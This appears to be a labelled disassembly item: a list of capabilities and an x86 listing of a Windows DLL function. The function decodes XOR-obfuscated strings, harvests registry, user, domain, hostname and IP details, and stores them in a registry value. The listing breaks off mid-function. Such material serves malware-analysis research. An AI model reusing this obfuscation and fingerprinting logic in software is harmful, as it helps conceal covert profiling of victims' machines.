Function at 0x10001a70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get hostname
Initialize winsock library
Query or enumerate registry key
Query or enumerate registry value
Resolve dns
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d44c
mov eax, dword fs:[0]
push eax
sub esp, 0x594
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x588], ebx
mov eax, 4
xor esi, esi
lea ecx, [ecx]
mov cl, byte [esi + str.LDTC_HXNPIKSC_C_YYDJchhxsCcDLWVDJwZFIN_A_l]
xor cl, al
inc eax
mov byte [ebp + esi - 0x3e4], cl
inc esi
and eax, 0xff
cmp esi, 0x2d
jb 0x10001ab0
mov byte [ebp - 0x3b7], bl
mov dword [ebp - 4], ebx
mov esi, 0xf
lea eax, [ebp - 0x3e4]
mov dword [ebp - 0x3a0], esi
mov dword [ebp - 0x3a4], ebx
mov byte [ebp - 0x3b4], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001af4
sub eax, edx
push eax
lea edx, [ebp - 0x3e4]
push edx
lea ecx, [ebp - 0x3b4]
call fcn.10017ba0
mov dword [ebp - 0x3c0], esi
mov dword [ebp - 0x3c4], ebx
mov byte [ebp - 0x3d4], bl
mov dword [ebp - 0x59c], ebx
mov dword [ebp - 0x598], ebx
mov dword [ebp - 0x594], ebx
mov byte [ebp - 4], 4
cmp dword [ebp - 0x3a0], 0x10
mov eax, dword [ebp - 0x3b4]
jae 0x10001b4d
lea eax, [ebp - 0x3b4]
lea ecx, [ebp - 0x58c]
push ecx
push 0x20019
push ebx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001c9d
mov dword [ebp - 0x57c], ebx
xor edi, edi
jmp 0x10001b80
mov eax, dword [ebp - 0x58c]
push 0xff
lea edx, [ebp - 0x118]
push edx
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x10001c9d
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x3b4]
push edx
lea eax, [ebp - 0x368]
push eax
call fcn.1001bf20
mov eax, dword [ebp - 0x368]
add esp, 0xc
cmp dword [ebp - 0x354], 0x10
jae 0x10001bd4
lea eax, [ebp - 0x368]
lea ecx, [ebp - 0x580]
push ecx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10001c67
push 0xff
lea edx, [ebp - 0x118]
push ebx
push edx
mov dword [ebp - 0x57c], 0xff
call fcn.10024b90
add esp, 0xc
mov eax, 0xad
xor esi, esi
mov cl, byte [esi + 0x10042704]
xor cl, al
inc eax
mov byte [ebp + esi - 0x344], cl
inc esi
and eax, 0xff
cmp esi, 0x13
jb 0x10001c11
lea edx, [ebp - 0x57c]
push edx
mov edx, dword [ebp - 0x580]
lea eax, [ebp - 0x118]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x344]
push ecx
push edx
mov byte [ebp - 0x331], bl
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x10001c85
mov eax, dword [ebp - 0x580]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x354], 0x10
jb 0x10001c7f
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.1002120f
add esp, 4
inc edi
jmp 0x10001b80
cmp dword [ebp - 0x354], 0x10
jb 0x10001c9d
mov edx, dword [ebp - 0x368]
push edx
call fcn.1002120f
add esp, 4
mov eax, dword [ebp - 0x58c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call edi
mov eax, 0xd2
xor esi, esi
mov cl, byte [esi + 0x10042718]
xor cl, al
inc eax
mov byte [ebp + esi - 0x344], cl
inc esi
and eax, 0xff
cmp esi, 0x13
jb 0x10001cb3
mov byte [ebp - 0x331], bl
mov eax, 0x8e
xor esi, esi
jmp 0x10001ce0
mov dl, byte [esi + 0x1004272c]
xor dl, al
inc eax
mov byte [ebp + esi - 0x37c], dl
inc esi
and eax, 0xff
cmp esi, 0x2e
jb 0x10001ce0
lea eax, [ebp - 0x580]
push eax
push 1
push ebx
lea ecx, [ebp - 0x37c]
push ecx
push connect
mov byte [ebp - 0x34e], bl
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001d5e
lea edx, [ebp - 0x584]
push edx
lea eax, [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x580]
lea ecx, [ebp - 0x588]
push ecx
push ebx
lea edx, [ebp - 0x344]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x580]
push ecx
call edi
sub esp, 0x1c
mov esi, esp
lea eax, [ebp - 0x118]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001d80
sub eax, edi
push eax
lea edx, [ebp - 0x118]
push edx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
lea eax, [ebp - 0x57c]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x328]
push ecx
call fcn.1002145d
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], bx
mov byte [ebp - 0x57a], bl
jb 0x10001df8
mov edx, dword [ebp - 0x368]
push edx
call fcn.1002120f
add esp, 4
mov dword [ebp - 0x33c], 0x6c697542
mov dword [ebp - 0x338], 0x62614c64
mov byte [ebp - 0x334], bl
mov eax, 0x6a
xor esi, esi
lea esp, [esp]
mov cl, byte [esi + str.9_99._4._]
xor cl, al
inc eax
mov byte [ebp + esi - 0x378], cl
inc esi
and eax, 0xff
cmp esi, 0x2c
jb 0x10001e20
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x378]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001ea2
lea ecx, [ebp - 0x584]
push ecx
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x580]
lea eax, [ebp - 0x588]
push eax
push ebx
lea ecx, [ebp - 0x33c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x580]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x220]
push ecx
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10001ef6
sub eax, edi
push eax
lea edx, [ebp - 0x220]
push edx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
lea eax, [ebp - 0x57c]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x328]
push ecx
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x10001f70
mov edx, dword [ebp - 0x368]
push edx
call fcn.1002120f
add esp, 4
push 0x104
lea eax, [ebp - 0x220]
push ebx
push eax
call fcn.10024b90
add esp, 0xc
mov dword [ebp - 0x33c], 0x6e656449
mov dword [ebp - 0x338], 0x69666974
mov word [ebp - 0x334], 0x7265
mov byte [ebp - 0x332], bl
mov eax, 0x7f
xor esi, esi
nop
mov cl, byte [esi + 0x10042798]
xor cl, al
inc eax
mov byte [ebp + esi - 0x398], cl
inc esi
and eax, 0xff
cmp esi, 0x4c
jb 0x10001fb0
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x398]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002032
lea ecx, [ebp - 0x584]
push ecx
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x580]
lea eax, [ebp - 0x588]
push eax
push ebx
lea ecx, [ebp - 0x33c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x580]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
jmp 0x10002040
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002040
sub eax, edx
cmp eax, 2
setae al
cmp al, bl
je 0x100021c7
mov ecx, str.PriwyIDP
sub ecx, 0x6f747e8f
lea eax, [ebp - 0x33c]
call fcn.1001c000
mov edi, eax
mov eax, 0x7f
xor esi, esi
mov cl, byte [esi + 0x10042798]
xor cl, al
inc eax
mov byte [ebp + esi - 0x398], cl
inc esi
and eax, 0xff
cmp esi, 0x4c
jb 0x10002076
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x398]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002105
lea ecx, [ebp - 0x584]
push ecx
mov ecx, dword [ebp - 0x580]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x588]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x580]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x330]
push edx
lea eax, [ebp - 0x220]
push eax
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002146
sub eax, edi
push eax
lea ecx, [ebp - 0x220]
push ecx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x57c]
push edx
lea eax, [ebp - 0x328]
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x100021c0
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.1002120f
add esp, 4
mov byte [0x10acf004], 1
push 0x104
lea edx, [ebp - 0x220]
push ebx
push edx
call fcn.10024b90
add esp, 0xc
cmp byte [0x10acf004], bl
jne 0x100022a2
mov ecx, str.PriwyIDP
sub ecx, 0x6f747e8f
lea eax, [ebp - 0x33c]
call fcn.1001c000
mov edi, eax
mov eax, 0x87
xor esi, esi
mov cl, byte [esi + 0x100427e8]
xor cl, al
inc eax
mov byte [ebp + esi - 0x398], cl
inc esi
and eax, 0xff
cmp esi, 0x4c
jb 0x10002207
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x398]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002283
lea ecx, [ebp - 0x584]
push ecx
mov ecx, dword [ebp - 0x580]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x588]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x580]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002290
sub eax, edx
cmp eax, 2
jb 0x100022a2
mov al, 1
jmp 0x100022a4
xor al, al
cmp al, bl
je 0x10002421
mov ecx, str.PriwyIDP
sub ecx, 0x6f747e8f
lea eax, [ebp - 0x33c]
call fcn.1001c000
mov edi, eax
mov eax, 0x87
xor esi, esi
jmp 0x100022d0
mov cl, byte [esi + 0x100427e8]
xor cl, al
inc eax
mov byte [ebp + esi - 0x398], cl
inc esi
and eax, 0xff
cmp esi, 0x4c
jb 0x100022d0
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x398]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000235f
lea ecx, [ebp - 0x584]
push ecx
mov ecx, dword [ebp - 0x580]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x588]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x580]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x330]
push edx
lea eax, [ebp - 0x220]
push eax
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100023a0
sub eax, edi
push eax
lea ecx, [ebp - 0x220]
push ecx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x57c]
push edx
lea eax, [ebp - 0x328]
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x1000241a
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.1002120f
add esp, 4
mov byte [0x10acf004], 1
push 0x104
lea edx, [ebp - 0x220]
push ebx
push edx
call fcn.10024b90
add esp, 0xc
cmp byte [0x10acf004], bl
jne 0x100024f8
mov ecx, str.PriwyIDP
sub ecx, 0x6f747e8f
lea eax, [ebp - 0x33c]
call fcn.1001c000
mov edi, eax
mov eax, 0x62
xor esi, esi
mov cl, byte [esi + str._6_1:_6____5_3_]
xor cl, al
inc eax
mov byte [ebp + esi - 0x398], cl
inc esi
and eax, 0xff
cmp esi, 0x4c
jb 0x10002461
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x398]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100024dd
lea ecx, [ebp - 0x584]
push ecx
mov ecx, dword [ebp - 0x580]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x588]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x580]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100024e6
sub eax, edx
cmp eax, 2
jb 0x100024f8
mov al, 1
jmp 0x100024fa
xor al, al
cmp al, bl
je 0x10002687
mov ecx, str.PriwyIDP
sub ecx, 0x6f747e8f
lea eax, [ebp - 0x33c]
call fcn.1001c000
mov edi, eax
mov eax, 0x62
xor esi, esi
mov cl, byte [esi + str._6_1:_6____5_3_]
xor cl, al
inc eax
mov byte [ebp + esi - 0x398], cl
inc esi
and eax, 0xff
cmp esi, 0x4c
jb 0x10002521
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x398]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100025b0
lea ecx, [ebp - 0x584]
push ecx
mov ecx, dword [ebp - 0x580]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x588]
push eax
push ebx
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 0x580]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x330]
push edx
lea eax, [ebp - 0x220]
push eax
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100025f1
sub eax, edi
push eax
lea ecx, [ebp - 0x220]
push ecx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
lea edx, [ebp - 0x57c]
push edx
lea eax, [ebp - 0x328]
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x1000266b
mov ecx, dword [ebp - 0x368]
push ecx
call fcn.1002120f
add esp, 4
push 0x104
lea edx, [ebp - 0x220]
push ebx
push edx
call fcn.10024b90
add esp, 0xc
mov byte [0x10acf004], 1
mov dword [ebp - 0x33c], 0x52455355
mov dword [ebp - 0x338], 0x414d4f44
mov word [ebp - 0x334], 0x4e49
mov byte [ebp - 0x332], bl
mov eax, 0x4f
xor esi, esi
mov cl, byte [esi + 0x10042888]
xor cl, al
inc eax
mov byte [ebp + esi - 0x360], cl
inc esi
and eax, 0xff
cmp esi, 0x14
jb 0x100026b1
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x360]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002746
lea ecx, [ebp - 0x584]
push ecx
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x580]
lea eax, [ebp - 0x588]
push eax
push ebx
lea ecx, [ebp - 0x33c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x580]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002787
sub eax, edi
push eax
lea edx, [ebp - 0x220]
push edx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
lea eax, [ebp - 0x57c]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x328]
push ecx
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x10002801
mov edx, dword [ebp - 0x368]
push edx
call fcn.1002120f
add esp, 4
push 0x104
lea eax, [ebp - 0x220]
push ebx
push eax
call fcn.10024b90
add esp, 0xc
mov dword [ebp - 0x33c], 0x52455355
mov dword [ebp - 0x338], 0x454d414e
mov byte [ebp - 0x334], bl
mov eax, 0x4f
xor esi, esi
mov cl, byte [esi + 0x10042888]
xor cl, al
inc eax
mov byte [ebp + esi - 0x360], cl
inc esi
and eax, 0xff
cmp esi, 0x14
jb 0x10002837
lea edx, [ebp - 0x580]
push edx
push 1
push ebx
lea eax, [ebp - 0x360]
push eax
push connect
mov byte [ebp - 0x34c], bl
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
mov dword [ebp - 0x584], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100028cc
lea ecx, [ebp - 0x584]
push ecx
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x580]
lea eax, [ebp - 0x588]
push eax
push ebx
lea ecx, [ebp - 0x33c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x580]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002910
sub eax, edi
push eax
lea edx, [ebp - 0x220]
push edx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
lea eax, [ebp - 0x57c]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x328]
push ecx
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x1000298a
mov edx, dword [ebp - 0x368]
push edx
call fcn.1002120f
add esp, 4
push 0x104
lea eax, [ebp - 0x220]
push ebx
push eax
call fcn.10024b90
add esp, 0xc
lea ecx, [ebp - 0x578]
push ecx
push 0x101
mov dword [ebp - 0x330], 0x25207325
mov word [ebp - 0x32c], 0x73
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0xff
lea ecx, [ebp - 0x118]
push ebx
push ecx
call fcn.10024b90
add esp, 0xc
push esi
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x220]
push ecx
call fcn.1002145d
sub esp, 0xc
mov esi, esp
lea eax, [ebp - 0x220]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x588], esp
mov byte [esi], bl
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002a50
sub eax, edi
push eax
lea edx, [ebp - 0x220]
push edx
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov esi, eax
mov edi, esp
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
lea eax, [ebp - 0x57c]
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x328]
push ecx
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x10002aca
mov edx, dword [ebp - 0x368]
push edx
call fcn.1002120f
add esp, 4
push 0x104
lea eax, [ebp - 0x220]
push ebx
push eax
call fcn.10024b90
add esp, 0xc
xor edx, edx
mov al, byte [ebp + edx - 0x328]
cmp al, 0x41
jl 0x10002af9
cmp al, 0x5a
jg 0x10002af9
add al, 0x20
mov byte [ebp + edx - 0x328], al
lea eax, [ebp - 0x328]
inc edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002b03
sub eax, edi
cmp edx, eax
jbe 0x10002ae1
mov dword [ebp - 0x330], 0x756c6176
mov dword [ebp - 0x32c], 0x393965
mov eax, 0xa4
xor edi, edi
jmp 0x10002b30
mov cl, byte [edi + 0x100428a0]
xor cl, al
inc eax
mov byte [ebp + edi - 0x364], cl
inc edi
and eax, 0xff
cmp edi, 0x15
jb 0x10002b30
lea edi, [ebp - 0x330]
lea ecx, [ebp - 0x364]
mov byte [ebp - 0x34f], bl
call fcn.100018f0
test eax, eax
sete al
cmp al, bl
je 0x10002d08
mov eax, 0xa4
xor edi, edi
mov dl, byte [edi + 0x100428a0]
xor dl, al
inc eax
mov byte [ebp + edi - 0x364], dl
inc edi
and eax, 0xff
cmp edi, 0x15
jb 0x10002b76
lea eax, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x364]
push ecx
push connect
mov byte [ebp - 0x34f], bl
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, 0xa4
xor edi, edi
mov dl, byte [edi + 0x100428a0]
xor dl, al
inc eax
mov byte [ebp + edi - 0x364], dl
inc edi
and eax, 0xff
cmp edi, 0x15
jb 0x10002bb7
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x580]
push eax
push 0xf003f
push ebx
lea ecx, [ebp - 0x364]
push ecx
push connect
mov byte [ebp - 0x34f], bl
call esi
cmp eax, ebx
jne 0x10002c31
mov ecx, dword [ebp - 0x580]
push 0x20
lea edx, [ebp - 0x328]
push edx
push 1
push ebx
lea eax, [ebp - 0x330]
push eax
push ecx
mov dword [ebp - 0x330], 0x756c6176
mov dword [ebp - 0x32c], 0x393965
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x104
lea edx, [ebp - 0x328]
push ebx
push edx
call fcn.10024b90
add esp, 0xc
mov dword [ebp - 0x338], 0x756c6176
mov dword [ebp - 0x334], 0x393965
mov eax, 0xa4
xor edi, edi
mov cl, byte [edi + 0x100428a0]
xor cl, al
inc eax
mov byte [ebp + edi - 0x364], cl
inc edi
and eax, 0xff
cmp edi, 0x15
jb 0x10002c61
lea edx, [ebp - 0x584]
push edx
push 1
push ebx
lea eax, [ebp - 0x364]
push eax
push connect
mov byte [ebp - 0x34f], bl
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov dword [ebp - 0x588], 0x104
call esi
test eax, eax
jne 0x10002cee
lea ecx, [ebp - 0x588]
push ecx
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x584]
lea eax, [ebp - 0x32c]
push eax
push ebx
lea ecx, [ebp - 0x338]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x584]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x57c]
push edx
lea eax, [ebp - 0x328]
push eax
jmp 0x10002de6
push 0x104
lea ecx, [ebp - 0x328]
push ebx
push ecx
call fcn.10024b90
add esp, 0xc
mov dword [ebp - 0x338], 0x756c6176
mov dword [ebp - 0x334], 0x393965
mov eax, 0xa4
xor edi, edi
jmp 0x10002d40
mov dl, byte [edi + 0x100428a0]
xor dl, al
inc eax
mov byte [ebp + edi - 0x364], dl
inc edi
and eax, 0xff
cmp edi, 0x15
jb 0x10002d40
lea eax, [ebp - 0x584]
push eax
push 1
push ebx
lea ecx, [ebp - 0x364]
push ecx
push connect
mov byte [ebp - 0x34f], bl
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov dword [ebp - 0x588], 0x104
